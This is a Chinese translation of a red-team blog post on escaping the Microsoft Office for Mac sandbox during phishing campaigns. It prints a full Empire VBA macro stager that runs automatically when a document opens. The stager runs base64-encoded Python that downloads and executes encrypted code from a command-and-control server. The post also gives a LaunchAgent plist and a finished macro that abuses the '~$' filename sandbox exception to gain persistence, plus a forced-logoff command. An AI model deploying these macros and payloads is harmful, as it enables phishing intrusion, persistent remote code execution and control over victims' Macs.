沙箱逃逸 - Microsoft Office在MacOS上的应用

image.png

当你完成了对目标的侦察,并发现你的目标正在使用MacOS……接下来该怎么办?随着MacOS在企业中的日益普及,我们发现,在典型的网络钓鱼行动中,仅有针对Microsoft Windows终端的payloads是不够的。

考虑到这一点,我想找到一种在网络钓鱼活动期间登陆MacOS系统的有效方法。在这个演练中,我将展示一种可能的方法,即通过利用MacOS上的Microsoft Office获得跳跃点,并提出一种逃逸MacOS沙盒方法 。

Empire框架

Empire是一个功能强大的开源C2框架,最初的目的是通过利用PowerShell来控制Windows环境。现在,通过合并单独的Empyre项目,Empire成为了攻击MacOS终端的goto工具。从框架中搜索MacOS stagers,你可以看到经典的的二进制payloads,AppleScript和Office宏。

众所周知,攻击者经常使用宏payloads来定位Windows上的Microsoft Office用户。既然这是有效的,那我们在钓鱼过程中使用相同的技术来定位MacOS用户就是有意义的。在我开始使用MacOS Macro stager之前,我想了解一下这是如何运作的。由于该项目是开源的,我们可以查看Github上的stager的历史,而引起我注意的是在2018年3月1日,来自@ import-au的更新:
image.png

这个小修改实际上是改变了生成VBA payload的方式,以兼容更高版本的Office中的对语言所做的更改。简而言之,宏引用了libc.dylib的外部库,允许我们通过“popen”函数来执行系统命令。如果我们使用Empire生成一个stager,我们最终得到的东西看起来像这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Private Declare PtrSafe Function system Lib "libc.dylib" Alias "popen" (ByVal command As String, ByVal mode As String) As LongPtr
Sub Auto_Open()
'MsgBox("Auto_Open()")
Debugging
End Sub
Sub Document_Open()
'MsgBox("Document_Open()")
Debugging
End Sub
Public Function Debugging() As Variant
On Error Resume Next
#If Mac Then
Dim result As LongPtr
Dim cmd As String
cmd = "aW1wb3J0IHN5cztpbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS"
cmd = cmd + "4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy"
cmd = cmd + "4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dH"
cmd = cmd + "A6Ly8xMjcuMC4wLjE6ODA4MCc7dD0nL25ld3MucGhwJztyZX"
cmd = cmd + "E9dXJsbGliMi5SZXF1ZXN0KHNlcnZlcit0KTsKcmVxLmFkZF"
cmd = cmd + "9oZWFkZXIoJ1VzZXItQWdlbnQnLFVBKTsKcmVxLmFkZF9oZW"
cmd = cmd + "FkZXIoJ0Nvb2tpZScsInNlc3Npb249L0Y0V3BmZllPSnNXOG"
cmd = cmd + "JuVGRWYVc5b3d1NGxFPSIpOwpwcm94eSA9IHVybGxpYjIuUH"
cmd = cmd + "JveHlIYW5kbGVyKCk7Cm8gPSB1cmxsaWIyLmJ1aWxkX29wZW"
cmd = cmd + "5lcihwcm94eSk7CnVybGxpYjIuaW5zdGFsbF9vcGVuZXIoby"
cmd = cmd + "k7CmE9dXJsbGliMi51cmxvcGVuKHJlcSkucmVhZCgpOwpJVj"
cmd = cmd + "1hWzA6NF07ZGF0YT1hWzQ6XTtrZXk9SVYrJ0F0eihdKUVhbk"
cmd = cmd + "9UajE5b2Jfa20zTWg+KzZ2TkxRfXMlJztTLGosb3V0PXJhbm"
cmd = cmd + "dlKDI1NiksMCxbXQpmb3IgaSBpbiByYW5nZSgyNTYpOgogIC"
cmd = cmd + "Agaj0oaitTW2ldK29yZChrZXlbaSVsZW4oa2V5KV0pKSUyNT"
cmd = cmd + "YKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KaT1qPTAKZm9yIG"
cmd = cmd + "NoYXIgaW4gZGF0YToKICAgIGk9KGkrMSklMjU2CiAgICBqPS"
cmd = cmd + "hqK1NbaV0pJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQ"
cmd = cmd + "ogICAgb3V0LmFwcGVuZChjaHIob3JkKGNoYXIpXlNbKFNbaV"
cmd = cmd + "0rU1tqXSklMjU2XSkpCmV4ZWMoJycuam9pbihvdXQpKQ=="
'MsgBox("echo ""import sys,base64;exec(base64.b64decode(\"" " & cmd & " \""));"" | /usr/bin/python &")
result = system("echo ""import sys,base64;exec(base64.b64decode(\"" " & cmd & " \""));"" | /usr/bin/python &", "r")
#End If
End Function

在初始化“Private Declare PtrSafe Function“(私有声明PtrSafe功能)调用中,会出现很多意想不到的情况。为了了解这个API级别的调用情况,让我们稍微修改一下语句:

1
Private Declare PtrSafe Function system Lib "libnope.dylib" Alias "doesntexist" (ByVal command As String, ByVal mode As String) As LongPtr

将调试器附加到正在运行的Word实例中,并在常见的动态链接器API函数上设置一些断点,我们执行宏并看到以下内容:

image.png

所以,在这里可以看到我们请求的dylib实际上是通过调用“dlopen()”加载的。这告诉了我们两件事,第一,VBA的执行发生在“Microsoft Word”处理流程中,而不是另一个流程或服务。第二,VBA在宏执行期间所做的任何操作都将受到与Microsoft Word进程相同的限制。
现在我们已经了解发生了什么,那让我们使用上面的libc.dylib popen函数启动我们的Empire stager:
Picture

这很简单……但是在和代理商进行交互之后,您也许会注意到事情并不是完全正确:

image.png

因此,虽然我们可以在这种环境中进行操作,但条件变得极其严格。考虑到这一点,我决定看看发生了什么,看看我们是否可以做些事情来绕过这些限制。

MacOS沙箱

对于那些对MacOS运作有些了解的人,会发现上面显示的错误是MacOS沙盒限制应用程序的典型错误。如果我们列出我们的处理流程,我们会看到我们对Microsoft Word的猜想得到确认:

image.png
知道了这一点,我们可以使用以下命令查看应用于Microsoft Word应用程序的沙箱规则:

1
codesign --display -v --entitlements - /Applications/Microsoft\ Word.app

然后会很多请求的权利的显示,例如允许Microsoft Word访问用户选择的文件,充当网络客户端,访问地址簿等:

1
2
3
4
5
6
7
...
com.apple.security.files.bookmarks.app-scope
com.apple.security.files.user-selected.read-write
com.apple.security.network.client
com.apple.security.personal-information.addressbook
com.apple.security.print
...

然后,当我们接近列表的末尾时,我看到一些有点奇怪的东西:

1
2
3
4
5
6
com.apple.security.temporary-exception.sbpl
(allow file-read* file-write*
(require-any
(require-all (vnode-type REGULAR-FILE) (regex #"(^|/)~\$[^/]+$"))
)
)

这个规则允许Microsoft Word进程读取/写入文件,只要它与以下正则表达式匹配即可:

1
(^|/)~\$[^/]+$

起初我无法理解为什么这个异常出会现在这儿,但是在制作与此正则表达式匹配的文件名时,它实际上开始有意义了,例如~$document1.docx。这是Office使用临时文件的典型文件名格式,因此,这个规则的作用是允许进程在不提示用户每次允许的情况下保存临时文件。
这种时候,警报铃应该发出警报,因为尽管这个规则允许Word创建临时文件,但它也允许我们在文件系统的任何位置创建文件,只要满足以~$something结尾即可。回到我们原来的沙箱Empire代理,并试试使用这种格式来创建一个文件,我们可以看到没有之前“不允许操作”的错误提示:

image.png

现在我们在沙箱的保护壳发现了一个缝隙,我们需要找到一种使用它来帮助我们逃离这个沙箱的方法,并获得一个不受限制的代理会话。

启动沙箱逃逸

MacOS的启动项本质上是初始化守护进程,其中附带了许多附加功能。您可以在以下目录中通过plist文件看到创建的大量服务(由http://www.launchd.info 提供):
image.png

回到我们的目的,我们最感兴趣的是利用Word进程可以访问的路径,可能是~/Library/LaunchAgents。我们已经知道,我们可以在这个目录中创建匹配文件名的文件,但我们如何利用它来逃离沙箱?事实证明,当用户登录时,启动项会自动获取该目录中丢弃的所有plist。这意味着我们需要做的就是通过与沙箱正则表达式匹配的文件名制作出一个plist,然后等待用户登录…这样我们应该能够逃离Word沙箱。
考虑到这一点,让我们创建一个简单的工作,它将在启动时生成agent:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>com.xpnsec.escape</string>
<key>ProgramArguments</key>
<array>
<string>python</string>
<string>-c</string>
<string>import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODA4MCc7dD0nL2xvZ2luL3Byb2Nlc3MucGhwJztyZXE9dXJsbGliMi5SZXF1ZXN0KHNlcnZlcit0KTsKcmVxLmFkZF9oZWFkZXIoJ1VzZXItQWdlbnQnLFVBKTsKcmVxLmFkZF9oZWFkZXIoJ0Nvb2tpZScsInNlc3Npb249cWV1eW94SURrM1hzeTNGcW9adGlYV0h5U0FZPSIpOwpwcm94eSA9IHVybGxpYjIuUHJveHlIYW5kbGVyKCk7Cm8gPSB1cmxsaWIyLmJ1aWxkX29wZW5lcihwcm94eSk7CnVybGxpYjIuaW5zdGFsbF9vcGVuZXIobyk7CmE9dXJsbGliMi51cmxvcGVuKHJlcSkucmVhZCgpOwpJVj1hWzA6NF07ZGF0YT1hWzQ6XTtrZXk9SVYrJ0F0eihdKUVhbk9UajE5b2Jfa20zTWg+KzZ2TkxRfXMlJztTLGosb3V0PXJhbmdlKDI1NiksMCxbXQpmb3IgaSBpbiByYW5nZSgyNTYpOgogICAgaj0oaitTW2ldK29yZChrZXlbaSVsZW4oa2V5KV0pKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KaT1qPTAKZm9yIGNoYXIgaW4gZGF0YToKICAgIGk9KGkrMSklMjU2CiAgICBqPShqK1NbaV0pJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQogICAgb3V0LmFwcGVuZChjaHIob3JkKGNoYXIpXlNbKFNbaV0rU1tqXSklMjU2XSkpCmV4ZWMoJycuam9pbihvdXQpKQ=='));</string>
</array>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>

这里我就不做详细介绍了,但这个plist基本上要做的,就是当Empire stager被加载后启动python。
现在我们有了plist,我们需要做的就是等待用户注销并重新登录,最后我们收到的回应:

image.png

如果您有强迫症,想要强制用户注销,实际上,您也可以在沙盒环境中使用下面的方法来执行这个操作:

1
launchctl bootout gui/$UID

有了它,我们就可以很好地绕过Mac沙箱上的Microsoft Office。当然,您可以将沙箱逃逸写到您的VBA中,如下所示:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Private Declare PtrSafe Function system Lib "libc.dylib" Alias "popen" (ByVal command As String, ByVal mode As String) As LongPtr
Private Sub Document_Open()
Dim path As String
Dim payload As String
payload = "import sys,base64,warnings;warnings.filterwarnings('ignore');exec(base64.b64decode('aW1wb3J0IHN5cztpbXBvcnQgdXJsbGliMj" & _
"sKVUE9J01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy4wOyBydjoxMS4wKSBsaWtlIEdl" & _
"Y2tvJztzZXJ2ZXI9J2h0dHA6Ly8xMjcuMC4wLjE6ODA4MCc7dD0nL2xvZ2luL3Byb2Nlc3MucGhwJztyZXE9dXJsbGliMi5SZ" & _
"XF1ZXN0KHNlcnZlcit0KTsKcmVxLmFkZF9oZWFkZXIoJ1VzZXItQWdlbnQnLFVBKTsKcmVxLmFkZF9oZWFkZXIoJ0Nvb" & _
"2tpZScsInNlc3Npb249cWV1eW94SURrM1hzeTNGcW9adGlYV0h5U0FZPSIpOwpwcm94eSA9IHVybGxpYjIuUHJveHlIYW5k" & _
"bGVyKCk7Cm8gPSB1cmxsaWIyLmJ1aWxkX29wZW5lcihwcm94eSk7CnVybGxpYjIuaW5zdGFsbF9vcGVuZXIobyk7CmE9dX" & _
"JsbGliMi51cmxvcGVuKHJlcSkucmVhZCgpOwpJVj1hWzA6NF07ZGF0YT1hWzQ6XTtrZXk9SVYrJ0F0eihdKUVhbk9UajE5b2" & _
"Jfa20zTWg+KzZ2TkxRfXMlJztTLGosb3V0PXJhbmdlKDI1NiksMCxbXQpmb3IgaSBpbiByYW5nZSgyNTYpOgogICAgaj0oaitT" & _
"W2ldK29yZChrZXlbaSVsZW4oa2V5KV0pKSUyNTYKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KaT1qPTAKZm9yIGNoYXIg" & _
"aW4gZGF0YToKICAgIGk9KGkrMSklMjU2CiAgICBqPShqK1NbaV0pJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQogICA" & _
"gb3V0LmFwcGVuZChjaHIob3JkKGNoYXIpXlNbKFNbaV0rU1tqXSklMjU2XSkpCmV4ZWMoJycuam9pbihvdXQpKQ=='));"
path = Environ("HOME") & "/../../../../Library/LaunchAgents/~$com.xpnsec.plist"
arg = "<?xml version=""1.0"" encoding=""UTF-8""?>\n" & _
"<!DOCTYPE plist PUBLIC ""-//Apple//DTD PLIST 1.0//EN"" ""http://www.apple.com/DTDs/PropertyList-1.0.dtd"">\n" & _
"<plist version=""1.0"">\n" & _
"<dict>\n" & _
"<key>Label</key>\n" & _
"<string>com.xpnsec.sandbox</string>\n" & _
"<key>ProgramArguments</key>\n" & _
"<array>\n" & _
"<string>python</string>\n" & _
"<string>-c</string>\n" & _
"<string>" & payload & "</string>" & _
"</array>\n" & _
"<key>RunAtLoad</key>\n" & _
"<true/>\n" & _
"</dict>\n" & _
"</plist>"
Result = system("echo """ & arg & """ > '" & path & "'", "r”)
‘Make sure this doesn’t raise alarms as it will force the user to logoff
'Result = system("launchctl bootout gui/$UID”, “r")
End Sub

我们发现此技术适用于支持宏功能的所有Microsoft Office for Mac 2016应用程序,因为每个应用程序共享相同的权利。例如,下面我们可以在Microsoft Excel中找到相同的规则:

image.png

如果你能想出任何其他方法来利用这种技术实现沙箱逃逸,我们非常欢迎您的分享。
这篇文章和相关的研究由 MDSec的ActiveBreach团队的Adam Chester完成。


本文翻译自:https://www.mdsec.co.uk/2018/08/escaping-the-sandbox-microsoft-office-on-macos/


文章作者: Ginove
文章链接: https://ginove.github.io/2018/09/09/沙箱逃逸-Microsoft-Office在MacOS上的应用/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Ginove